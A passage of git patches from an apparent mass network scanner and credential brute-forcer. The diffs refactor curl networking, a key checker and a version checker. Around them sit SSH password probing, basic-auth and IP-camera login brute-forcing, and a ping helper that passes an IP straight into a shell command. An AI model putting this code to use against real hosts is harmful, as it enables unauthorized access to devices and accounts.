++i) { if(globalScanFlag == false) break; - if(con._ConnectToPort( ip, portArr[i], "" ) == -2) break; + if(Connector::_ConnectToPort( ip, portArr[i], "" ) == -2) break; }; ConDec(); diff --git a/vercheckerthread.cpp b/vercheckerthread.cpp index 32326b4..f61474b 100644 --- a/vercheckerthread.cpp +++ b/vercheckerthread.cpp @@ -1,34 +1,36 @@ #include "vercheckerthread.h" #include "externData.h" #include "mainResources.h" +#include "Connector.h" +#include "Utils.h" void _checkVer() { - Connector con; - conSTR CSTR; - CSTR.lowerBuff = NULL; - CSTR.size = 0; - con._EstablishConnection("nesca.d3w.org", 80, "GET /version HTTP/1.1\r\nHost: nesca.d3w.org\r\nX-Nescav3: True\r\n\r\n", &CSTR, 1); + while(true) { + char request[64] = {"http://nesca.d3w.org/version"}; + std::string buffer; + std::vector<std::string> headerVector {"X-Nescav3: True"}; + Connector::nConnect(request, 80, &buffer, NULL, &headerVector); - char *ptr1 = NULL; - if(CSTR.lowerBuff != NULL) - { - if(strstr(CSTR.lowerBuff, "\r\n\r\n") != 0) - { - ptr1 = strstr(CSTR.lowerBuff, "\r\n\r\n"); - if(strcmp(gVER, ptr1 + 4) != 0) - { - stt->doEmitionShowRedVersion(); - }; - }; - delete []CSTR.lowerBuff; - CSTR.lowerBuff = NULL; - }; + char *ptr1 = NULL; + if(buffer.size() > 0) + { + if(Utils::ci_find_substr(buffer, std::string("\r\n\r\n")) != -1) + { + ptr1 = strstr((char*)buffer.c_str(), "\r\n\r\n"); + if(strcmp(gVER, ptr1 + 4) != 0) + { + stt->doEmitionShowRedVersion(); + }; + }; + }; - vct->terminate(); -}; + vct->sleep(600000); //10 min + }; + //vct->terminate(); +} void VerCheckerThread::run() { _checkVer(); -}; +} From 34903cd84eef0e8096db931cd96214c47dbdc63c Mon Sep 17 00:00:00 2001 From: cora48 <cora48@test123.ru> Date: Fri, 6 Mar 2015 17:32:36 +0300 Subject: [PATCH 25/66] -- --- CheckKey_Th.cpp | 243 +++++----------------------- Connector.cpp | 193 ++++++++++++++++++++-- Connector.h | 13 +- DrawerTh_ME2Scanner.cpp | 2 +- Utils.cpp | 18 ++- Utils.h | 11 +- WebformWorker.cpp | 2 + WebformWorker.h | 5 +- connector_old.cpp | 86 +--------- externData.h | 10 +- externFunctions.h | 3 +- finder.cpp | 348 +++++++++++++++------------------------- mainResources.h | 2 +- msgcheckerthread.cpp | 2 +- nesca.pro | 4 +- nesca_3.cpp | 273 +++++++++---------------------- nesca_3.h | 2 +- nesca_3.ui | 148 ++++++++++++++--- nesca_startModule.cpp | 26 ++- 19 files changed, 619 insertions(+), 772 deletions(-) diff --git a/CheckKey_Th.cpp b/CheckKey_Th.cpp index 0610462..9ac16bd 100644 --- a/CheckKey_Th.cpp +++ b/CheckKey_Th.cpp @@ -4,8 +4,10 @@ #include "STh.h" #include "externData.h" #include "externFunctions.h" +#include <Connector.h> +#include <Utils.h> -void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest) +void getSubStrEx(const char *src, char *startStr, char *endStr, char *dest, int szDest) { ZeroMemory(dest, szDest); char *ptr1 = strstri((const char*)src, startStr); @@ -48,214 +50,47 @@ int KeyCheckerMain() stt->doEmitionRedFoundData("[Key check] Key length is not valid."); return -1; }; - char msg[1024] = {0}; - char ndbServer[64] = {0}; - char ndbScript[64] = {0}; - sockaddr_in sockAddr; - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); + std::vector<std::string> headerVector; + headerVector.push_back("X-Nescav3: True"); - strcpy(msg, "GET "); - strcat(msg, "/"); - strcat(msg, trcScr); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, trcSrv); - strcat(msg, "\r\nX-Nescav3: True"); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); + std::string buffer; + Connector::nConnect((std::string(trcSrv) + std::string(trcScr)).c_str(), std::stoi(trcSrvPortLine), &buffer, NULL, &headerVector); - HOSTENT *host; + int hostStringIndex = Utils::ci_find_substr(buffer, std::string("\r\n\r\n")); + if(hostStringIndex != -1) { + const char *ptr1 = buffer.c_str() + hostStringIndex + 4; + buffer.clear(); + Connector::nConnect((std::string(ptr1) + std::string("/api/checkaccount?key=") + std::string(trcPersKey)).c_str(), + std::stoi(trcSrvPortLine), &buffer, NULL, &headerVector); -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(trcSrv) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(trcSrv); - else if(host=gethostbyname (trcSrv)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - SOCKET sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - stt->doEmitionYellowFoundData("[Key check] Requesting server ip..."); - int test = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -connect() returned. Cannot connect to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - return -1; - }; - - test = send(sock, msg, strlen(msg), 0); - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -send() returned. Cannot send to balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - - test = recv(sock, msg, sizeof(msg), 0); - char buff[512] = {0}; - while((test = recv(sock, msg, sizeof(msg), 0)) != 0) - { - strcat(msg, buff); - }; - - if(test == -1) - { - stt->doEmitionRedFoundData("[Key check] -recv() returned. Cannot recv from balancer! " + QString::number(WSAGetLastError()) + "."); - CSSOCKET(sock); - - return -1; - }; - - char *t1; - char *t2; - if(strstr(msg, "http://") != NULL) - { - t1 = strstr(msg, "http://"); - if(strstr((char*)(t1 + 7), "/") != NULL) - { - t2 = strstr((char*)(t1 + 7), "/"); - int ln = t2 - t1 - 7; - if(ln > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else strncpy(ndbServer, (char*)(t1 + 7), ln); - - - if(strlen(t2) > 64) - { - stt->doEmitionYellowFoundData("[Key check] -Fragmentation detected!"); - if(strstr(t2, "\r\n") != NULL) - { - char *t3 = strstr(t2, "\r\n"); - int y = (int)(t3 - t2); - - if(y > 64) - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - } - else - { - strncpy(ndbScript, t2, y); - }; - } - else - { - stt->doEmitionRedFoundData("[Key check] -Received server string is not valid!"); - CSSOCKET(sock); - - return -1; - }; - } else strcpy(ndbScript, t2); - } - else - { - stt->doEmitionRedFoundData("[Key check] -Cannot receive script value!"); - CSSOCKET(sock); - - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - - stt->doEmitionGreenFoundData("[Key check] -OK. -Server string aquired! Checking key..."); - CSSOCKET(sock); - - sockAddr.sin_family = AF_INET; - sockAddr.sin_port = htons(atoi(trcSrvPortLine)); - strcpy(msg, "GET "); - strcat(msg, "/api/checkaccount?key="); - strncat(msg, trcPersKey, 32); - strcat(msg, " HTTP/1.0\r\nHost: "); - strcat(msg, ndbServer); - strcat(msg, "\r\nConnection: close"); - strcat(msg, "\r\n\r\n"); - -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#else - if(inet_addr(ndbServer) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ndbServer); - else if(host=gethostbyname (ndbServer)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; -#endif - sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); - - int c = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Connection timeout."); - CSSOCKET(sock); - return -1; - }; - c = send(sock, msg, strlen(msg), 0); - if(c == SOCKET_ERROR) - { - stt->doEmitionRedFoundData("[Key check] -Send error."); - CSSOCKET(sock); - return -1; - }; - ZeroMemory(msg, sizeof(msg)); - test = recv(sock, msg, 512, 0); - - if(strstr(msg, "202 Accepted") != NULL) - { - stt->doEmitionGreenFoundData("[Key check] -OK. Key is valid!"); - CSSOCKET(sock); - - if(emitIfOK == 0) stt->doEmitionStartScanIP(); - else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); - else if(emitIfOK == 2) stt->doEmitionStartScanImport(); - return 1; - } - else if(strstr(msg, "400 Bad Request") != NULL) - { - QString errorDef = GetNSErrorDefinition(msg, "notify"); - if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); - else stt->doEmitionYellowFoundData("[NS-Track] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(msg, "notify") + "]"); - CSSOCKET(sock); - return -1; - } - else if(strstr(msg, "503 Bad Gateway") != NULL) - { - stt->doEmitionYellowFoundData("[NS-Track] 503 Backend not responding!"); - CSSOCKET(sock); - return -1; - } - else - { - char header[64] = {0}; - getSubStrEx(msg, "http/1.1 ", "\r\n", header, 64); - stt->doEmitionYellowFoundData("[Key check] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: <u>" + QString::fromLocal8Bit(header) + "</u>"); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - CSSOCKET(sock); - return -1; - }; - - ZeroMemory(msg, sizeof(msg)); - CSSOCKET(sock); - } - else - { - stt->doEmitionRedFoundData("[Key check] -Balancer replied with invalid string."); - if(gDebugMode) stt->doEmitionDebugFoundData(QString(msg)); - CSSOCKET(sock); - return -1; - }; -}; + if(Utils::ci_find_substr(buffer, std::string("202 Accepted")) != -1) { + stt->doEmitionGreenFoundData("Key is valid."); + if(emitIfOK == 0) stt->doEmitionStartScanIP(); + else if(emitIfOK == 1) stt->doEmitionStartScanDNS(); + else if(emitIfOK == 2) stt->doEmitionStartScanImport(); + return 1; + } else if(Utils::ci_find_substr(buffer, std::string("400 Bad Request")) != -1) { + QString errorDef = GetNSErrorDefinition(buffer.c_str(), "notify"); + if(errorDef == "Invalid access key") stt->doEmitionYellowFoundData("[NS-Track] [Key is unauthorized] A valid key is required."); + else stt->doEmitionYellowFoundData("[Key checker] -FAIL! [400 Bad Request : " + GetNSErrorDefinition(buffer.c_str(), "notify") + "]"); + return -1; + } else if(Utils::ci_find_substr(buffer, std::string("503 Bad Gateway")) != -1) { + stt->doEmitionYellowFoundData("[Key checker] 503 Backend not responding!"); + return -1; + } else { + char header[64] = {0}; + getSubStrEx(buffer.c_str(), "http/1.1 ", "\r\n", header, 64); + stt->doEmitionRedFoundData("[Key checker] -FAIL! An error occured. (" + QString::number(WSAGetLastError()) + ") Header: <u>" + QString::fromLocal8Bit(header) + "</u>"); + if(gDebugMode) stt->doEmitionDebugFoundData(QString(buffer.c_str())); + return -1; + }; + } else { + stt->doEmitionRedFoundData("[Key checker] Cannot acquire host string."); + } +} void CheckKey_Th::run() { KeyCheckerMain(); -}; +} diff --git a/Connector.cpp b/Connector.cpp index 342820b..8721bfe 100644 --- a/Connector.cpp +++ b/Connector.cpp @@ -1,8 +1,93 @@ #include <Connector.h> +#include <Utils.h> + +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +int _pingMyTarget(char *ip) +{ + HANDLE hIcmpFile; + unsigned long ipaddr = INADDR_NONE; + DWORD dwRetVal = 0; + char SendData[32] = "Data Buffer"; + LPVOID ReplyBuffer = NULL; + DWORD ReplySize = 0; + + ipaddr = inet_addr(ip); + + if (ipaddr == INADDR_NONE) + { + stt->doEmitionRedFoundData("[Pinger] INADDR_NONE! [" + QString(ip) + "]"); + return 0; + } + + hIcmpFile = IcmpCreateFile(); + if (hIcmpFile == INVALID_HANDLE_VALUE) + { + stt->doEmitionRedFoundData("[Pinger] Unable to open handle. [" + QString::number(GetLastError()) + "]"); + return 0; + } + + ReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(SendData); + ReplyBuffer = (VOID*) malloc(ReplySize); + if (ReplyBuffer == NULL) + { + stt->doEmitionRedFoundData("[Pinger] Unable to allocate memory."); + return 0; + } + dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, SendData, sizeof(SendData), + NULL, ReplyBuffer, ReplySize, gPingTimeout*1000); + if (dwRetVal != 0) { + PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer; + struct in_addr ReplyAddr; + ReplyAddr.S_un.S_addr = pEchoReply->Address; + printf("\tSent icmp message to %s\n", "127.0.0.1"); + if (dwRetVal > 1) + { + if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses."); + } + else + { + if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses."); + } -int Connector::_sshConnect(char *user, char *pass, char *host, int port) + if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received from: " + QString(inet_ntoa( ReplyAddr )) + "; Status = " + QString::number(pEchoReply->Status) + "; Roundtrip time = " + QString::number(pEchoReply->RoundTripTime) + "ms."); + return 1; + } + else + { + printf("\tCall to IcmpSendEcho failed.\n"); + printf("\tIcmpSendEcho returned error: %ld\n", GetLastError() ); + if(gDebugMode) stt->doEmitionRedFoundData("[Pinger] Call to IcmpSendEcho failed. IcmpSendEcho returned error: " + QString::number(GetLastError())); + return 0; + }; +} +#else +int _pingMyTarget(char *ip) +{ + FILE *pipe = popen(("ping -w " + std::to_string(gPingTimeout) + " " + ip).c_str(), "r"); + if(!pipe) { + stt->doEmitionRedFoundData("Ping pipe failed: cannot open pipe."); + perror("pipe"); + return 0; + } + + char buffer[128] = {0}; + std::string result; + + while(!feof(pipe)) { + if(fgets(buffer, 128, pipe) != NULL){ + result += buffer; + } + } + pclose(pipe); + + if(strstr((char*)result.c_str(), "100% packet loss") != NULL) return 0; + return 1; +} +#endif + +int _sshConnect(char *user, char *pass, char *host, int port) { char hostStr[128] = {0}; ZeroMemory(hostStr, sizeof(hostStr)); @@ -50,7 +135,7 @@ int Connector::_sshConnect(char *user, char *pass, char *host, int port) return 0; } -char Connector::_get_ssh_banner(char *ip, int port) +char _get_ssh_banner(char *ip, int port) { char recvBuff[256] = {0}; std::string buffer; @@ -66,7 +151,7 @@ char Connector::_get_ssh_banner(char *ip, int port) return *recvBuff; } -int Connector::check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, std::string *buffer, const char *banner) +int check_ssh_pass(char *user, char *pass, char *userPass, char *host, int port, std::string *buffer, const char *banner) { int res = -1; if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port)); @@ -84,7 +169,7 @@ int Connector::check_ssh_pass(char *user, char *pass, char *userPass, char *host return res; } -int Connector::_EstablishSSHConnection(char *host, int port, std::string *buffer, const char *banner) +int _EstablishSSHConnection(char *host, int port, std::string *buffer, const char *banner) { char login[32] = {0}; char pass[32] = {0}; @@ -138,19 +223,101 @@ int Connector::_SSHLobby(char *ip, int port, std::string *buffer) return -1; } + +struct data { + char trace_ascii; /* 1 or 0 */ +}; + +static +void dump(const char *text, + FILE *stream, unsigned char *ptr, size_t size, + char nohex) +{ + size_t i; + size_t c; + + unsigned int width=0x10; + + if(nohex) + /* without the hex output, we can fit more on screen */ + width = 0x40; + + fprintf(stream, "%s, %10.10ld bytes (0x%8.8lx)\n", + text, (long)size, (long)size); + + for(i=0; i<size; i+= width) { + + fprintf(stream, "%4.4lx: ", (long)i); + + if(!nohex) { + /* hex not disabled, show it */ + for(c = 0; c < width; c++) + if(i+c < size) + fprintf(stream, "%02x ", ptr[i+c]); + else + fputs(" ", stream); + } + + for(c = 0; (c < width) && (i+c < size); c++) { + /* check for 0D0A; if found, skip past and start a new line of output */ + if (nohex && (i+c+1 < size) && ptr[i+c]==0x0D && ptr[i+c+1]==0x0A) { + i+=(c+2-width); + break; + } + fprintf(stream, "%c", + (ptr[i+c]>=0x20) && (ptr[i+c]<0x80)?ptr[i+c]:'.'); + /* check again for 0D0A, to avoid an extra \n if it's at width */ + if (nohex && (i+c+2 < size) && ptr[i+c+1]==0x0D && ptr[i+c+2]==0x0A) { + i+=(c+3-width); + break; + } + } + fputc('\n', stream); /* newline */ + } + fflush(stream); +} + +static +int my_trace(CURL *handle, curl_infotype type, + char *data, size_t size, + void *userp) +{ + struct data *config = (struct data *)userp; + const char *text; + (void)handle; /* prevent compiler warning */ + + switch (type) { + case CURLINFO_TEXT: + //fprintf(stderr, "== Info: %s", data); + default: /* in case a new one is introduced to shock us */ + return 0; + } + + if(MapWidgetOpened) stt->doEmitionAddOutData(QString("size"), QString(data)); + dump(text, stderr, (unsigned char *)data, size, config->trace_ascii); + return 0; +} + static size_t nWriteCallback(void *contents, size_t size, size_t nmemb, void *userp) { ((std::string*)userp)->append((char*)contents, size * nmemb); return size * nmemb; } -int Connector::nConnect(char *ip, int port, std::string *buffer, - const char *postData = NULL, - const std::vector<std::string> *customHeaders = NULL){ + +int Connector::nConnect(const char *ip, const int port, std::string *buffer, + const char *postData, + const std::vector<std::string> *customHeaders){ CURL *curl = curl_easy_init(); + struct data config; + + config.trace_ascii = 1; /* enable ascii tracing */ if (curl) { + curl_easy_setopt(curl, CURLOPT_DEBUGFUNCTION, my_trace); + curl_easy_setopt(curl, CURLOPT_DEBUGDATA, &config); + curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); curl_easy_setopt(curl, CURLOPT_URL, ip); curl_easy_setopt(curl, CURLOPT_PORT, port); curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (X11; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0"); @@ -160,8 +327,11 @@ int Connector::nConnect(char *ip, int port, std::string *buffer, curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, nWriteCallback); curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer); - curl_easy_setopt(curl, CURLOPT_PROXY, "--"); - curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128); + int proxyPort = std::atoi(gProxyPort); + if(strlen(gProxyIP) != 0 && (proxyPort > 0 && proxyPort < 65535)) { + curl_easy_setopt(curl, CURLOPT_PROXY, gProxyIP); + curl_easy_setopt(curl, CURLOPT_PROXYPORT, proxyPort); + } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut); curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut); @@ -175,15 +345,16 @@ int Connector::nConnect(char *ip, int port, std::string *buffer, struct curl_slist *chunk = NULL; - for(auto &ch : customHeaders) { + for(auto &ch : *customHeaders) { - chunk = curl_slist_append(chunk, *ch); + chunk = curl_slist_append(chunk, ch.c_str()); } curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk); } curl_easy_perform(curl); + if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str())); curl_easy_cleanup(curl); } else { stt->doEmitionRedFoundData("Curl error."); diff --git a/Connector.h b/Connector.h index 24cf8da..86fc85e 100644 --- a/Connector.h +++ b/Connector.h @@ -1,17 +1,14 @@ #ifndef CONNECTOR_H #define CONNECTOR_H +#include <mainResources.h> +#include <externData.h> +#include <STh.h> + class Connector { -private: - int _sshConnect(char *user, char *pass, char *host, int port); - int _get_ssh_banner(char *ip, int port); - int check_ssh_pass(char *user, char *pass, char *userPass, - char *host, int port, std::string *buffer, const char *banner); - int _EstablishSSHConnection(char *host, int port, std::string *buffer, const char *banner); - public: - static int nConnect(char *ip, int port, std::string *buffer, + static int nConnect(const char *ip, const int port, std::string *buffer, const char *postData = NULL, const std::vector<std::string> *customHeaders = NULL); static int _ConnectToPort(char *ip, int port, char *hl); diff --git a/DrawerTh_ME2Scanner.cpp b/DrawerTh_ME2Scanner.cpp index 3f6dae4..cdda4a0 100644 --- a/DrawerTh_ME2Scanner.cpp +++ b/DrawerTh_ME2Scanner.cpp @@ -147,6 +147,6 @@ void DrawerTh_ME2Scanner::run() Alive = 0; Susp = 0; }; - msleep(120); + msleep(90); }; } diff --git a/Utils.cpp b/Utils.cpp index 20c299c..a8f376a 100644 --- a/Utils.cpp +++ b/Utils.cpp @@ -1,11 +1,15 @@ #include <Utils.h> -template<typename T> int Utils::ci_find_substr(const T& str1, - const T& str2, - const std::locale& locale) { +char *getSystemProxy() { - auto it = std::search(str1.begin, str1.end, str2.begin, str2.end, - my_equal<typename T::value_type>(locale)); - if(it != str1.end()) return it - str1.begin(); - else return -1; +} + +int Utils::getProxyPort() { +} + +char * Utils::getProxy() { + #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) +#else + getSystemProxy(); +#endif } diff --git a/Utils.h b/Utils.h index 213faf9..d5201b1 100644 --- a/Utils.h +++ b/Utils.h @@ -19,7 +19,16 @@ public: // find substring (case insensitive) template<typename T> static int ci_find_substr(const T& str1, const T& str2, - const std::locale& loc = std::locale()); + const std::locale& loc = std::locale()) { + + auto it = std::search(str1.begin(), str1.end(), str2.begin(), str2.end(), + my_equal<typename T::value_type>(loc)); + if(it != str1.end()) return it - str1.begin(); + else return -1; + } + + char * getProxy(); + int getProxyPort(); }; #endif // UTILS_H diff --git a/WebformWorker.cpp b/WebformWorker.cpp index 556f3c6..3460f89 100644 --- a/WebformWorker.cpp +++ b/WebformWorker.cpp @@ -1,5 +1,7 @@ #include <WebformWorker.h> +bool WFClass::active = false; + lopaStr WFClass::parseResponse(const char *ip, const int port, const std::string *buffer, diff --git a/WebformWorker.h b/WebformWorker.h index 659259b..33efaef 100644 --- a/WebformWorker.h +++ b/WebformWorker.h @@ -6,6 +6,7 @@ #include <externFunctions.h> #include <Utils.h> #include "STh.h" +#include "Connector.h" class WFClass { @@ -25,12 +26,12 @@ public: ++WF; BConInc(); - active = true; + this->active = true; passCounter = 1; } ~WFClass(){ - active = false; + this->active = false; BConDec(); } diff --git a/connector_old.cpp b/connector_old.cpp index e2c8eb5..f64cc0c 100644 --- a/connector_old.cpp +++ b/connector_old.cpp @@ -900,7 +900,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method) return lps; } -lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method, char *data = NULL) +lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method) { while(BrutingThrds >= gMaxBrutingThreads) Sleep(700); @@ -1752,91 +1752,7 @@ lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC) } -#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) -int _pingMyTarget(char *ip) -{ - HANDLE hIcmpFile; - unsigned long ipaddr = INADDR_NONE; - DWORD dwRetVal = 0; - char SendData[32] = "Data Buffer"; - LPVOID ReplyBuffer = NULL; - DWORD ReplySize = 0; - - ipaddr = inet_addr(ip); - if (ipaddr == INADDR_NONE) - { - stt->doEmitionRedFoundData("[Pinger] INADDR_NONE! [" + QString(ip) + "]"); - return 0; - } - - hIcmpFile = IcmpCreateFile(); - if (hIcmpFile == INVALID_HANDLE_VALUE) - { - stt->doEmitionRedFoundData("[Pinger] Unable to open handle. [" + QString::number(GetLastError()) + "]"); - return 0; - } - - ReplySize = sizeof(ICMP_ECHO_REPLY) + sizeof(SendData); - ReplyBuffer = (VOID*) malloc(ReplySize); - if (ReplyBuffer == NULL) - { - stt->doEmitionRedFoundData("[Pinger] Unable to allocate memory."); - return 0; - } - - - dwRetVal = IcmpSendEcho(hIcmpFile, ipaddr, SendData, sizeof(SendData), - NULL, ReplyBuffer, ReplySize, gPingTimeout*1000); - if (dwRetVal != 0) { - PICMP_ECHO_REPLY pEchoReply = (PICMP_ECHO_REPLY)ReplyBuffer; - struct in_addr ReplyAddr; - ReplyAddr.S_un.S_addr = pEchoReply->Address; - printf("\tSent icmp message to %s\n", "127.0.0.1"); - if (dwRetVal > 1) - { - if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses."); - } - else - { - if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received " + QString::number(dwRetVal) + " icmp message responses."); - } - - if(gDebugMode) stt->doEmitionYellowFoundData("[Pinger] Received from: " + QString(inet_ntoa( ReplyAddr )) + "; Status = " + QString::number(pEchoReply->Status) + "; Roundtrip time = " + QString::number(pEchoReply->RoundTripTime) + "ms."); - return 1; - } - else - { - printf("\tCall to IcmpSendEcho failed.\n"); - printf("\tIcmpSendEcho returned error: %ld\n", GetLastError() ); - if(gDebugMode) stt->doEmitionRedFoundData("[Pinger] Call to IcmpSendEcho failed. IcmpSendEcho returned error: " + QString::number(GetLastError())); - return 0; - }; -} -#else -int _pingMyTarget(char *ip) -{ - FILE *pipe = popen(("ping -w " + std::to_string(gPingTimeout) + " " + ip).c_str(), "r"); - if(!pipe) { - stt->doEmitionRedFoundData("Ping pipe failed: cannot open pipe."); - perror("pipe"); - return 0; - } - - char buffer[128] = {0}; - std::string result; - - while(!feof(pipe)) { - if(fgets(buffer, 128, pipe) != NULL){ - result += buffer; - } - } - pclose(pipe); - - if(strstr((char*)result.c_str(), "100% packet loss") != NULL) return 0; - return 1; -} -#endif diff --git a/externData.h b/externData.h index 5bd11a2..23945fd 100644 --- a/externData.h +++ b/externData.h @@ -23,20 +23,22 @@ extern volatile int BA, cons, BrutingThrds, gThreads; extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst, **GlobalNegatives; extern bool trackerOK, __savingBackUpFile, globalScanFlag, MapWidgetOpened, widgetIsHidden, OnlineMsgSentFlag, utfIRCFlag, HTMLDebugMode, gNegDebugMode, - gDebugMode, horLineFlag, gPingNScan, gShuffle; + gDebugMode, horLineFlag, gPingNScan, gShuffle, +BALogSwitched; extern int found, indexIP, gMode, MaxPass, MaxLogin, MaxWFLogin, MaxWFPass, MaxSSHPass, GlobalNegativeSize, isActive, gMaxBrutingThreads, gTimeOut, PieAnomC1, PieSusp, PieBA, PieLowl, PieWF, PieSSH, gThreadDelay, AnomC1, Filt, Overl, Lowl, Alive, saved, Susp, -WF, -offlines, ssh, globalPinger, gPingTimeout, nickFlag, offlineFlag; + WF, + offlines, ssh, globalPinger, gPingTimeout, nickFlag, offlineFlag; extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[32], ircServer[32], ircPort[32], ircProxy[64], ircProxyPort[8], ircNick[32], trcPort[32], trcSrvPortLine[32], saveStartIP[128], saveEndIP[128], gRange[128], gFirstDom[128], gPorts[65536], endIP2[128], - gVER[16]; + gVER[16], + gProxyIP[64], gProxyPort[8]; struct pl{ int loginCounter; diff --git a/externFunctions.h b/externFunctions.h index d0bb5ba..2cb8cf9 100644 --- a/externFunctions.h +++ b/externFunctions.h @@ -6,7 +6,7 @@ extern void GetNicks(); extern int startScan(char* argv); extern void BConInc(); extern void BConDec(); -extern QString GetNSErrorDefinition(char *str, char *defin); +extern QString GetNSErrorDefinition(const char *str, const char *defin); extern void _SaveBackupToFile(); extern char* strstri(const char *_Str, const char *_SubStr); extern char* _getAttribute(char *str, char *attrib); @@ -15,4 +15,5 @@ extern void nCleanup(); extern void getSubStr(char *src, char *startStr, char *endStr, char *dest, int szDest); extern void getSubStrEx(char *src, char *startStr, char *endStr, char *dest, int szDest); extern std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage); +extern void _SaveBackupToFile(); //extern int nConnect(char *ip, int port, std::string *buffer); diff --git a/finder.cpp b/finder.cpp index 6e510e5..6e20675 100644 --- a/finder.cpp +++ b/finder.cpp @@ -5,6 +5,7 @@ #include "externData.h" #include "WebformWorker.h" #include "Connector.h" +#include <memory> char* strstri(const char *_Str, const char *_SubStr) { @@ -1322,7 +1323,7 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, }; } -void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *cp, int recd, char *data) +void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *cp, int recd) { isActive = 1; lopaStr lps; @@ -1333,8 +1334,8 @@ void _specBrute(char *cookie, char *ip, int port, char *hl, char *finalstr, int char tport[32] = {0}; sprintf(tport, ":%d", port); - if(strcmp(comment, "[DIGEST]") == 0) lps = _BALobby(cookie, ip, port, path, "[DIGEST]", data); - else lps = _BALobby(cookie, ip, port, path, "[NORMAL]", ""); + if(strcmp(comment, "[DIGEST]") == 0) lps = _BALobby(cookie, ip, port, path, "[DIGEST]"); + else lps = _BALobby(cookie, ip, port, path, "[NORMAL]"); if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { @@ -1725,47 +1726,47 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * } else if(flag == 21) //Eyeon { - _specBrute(ps.cookie, ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, recd, ""); + _specBrute(ps.cookie, ip, p, hl, "Eyeon Camera", 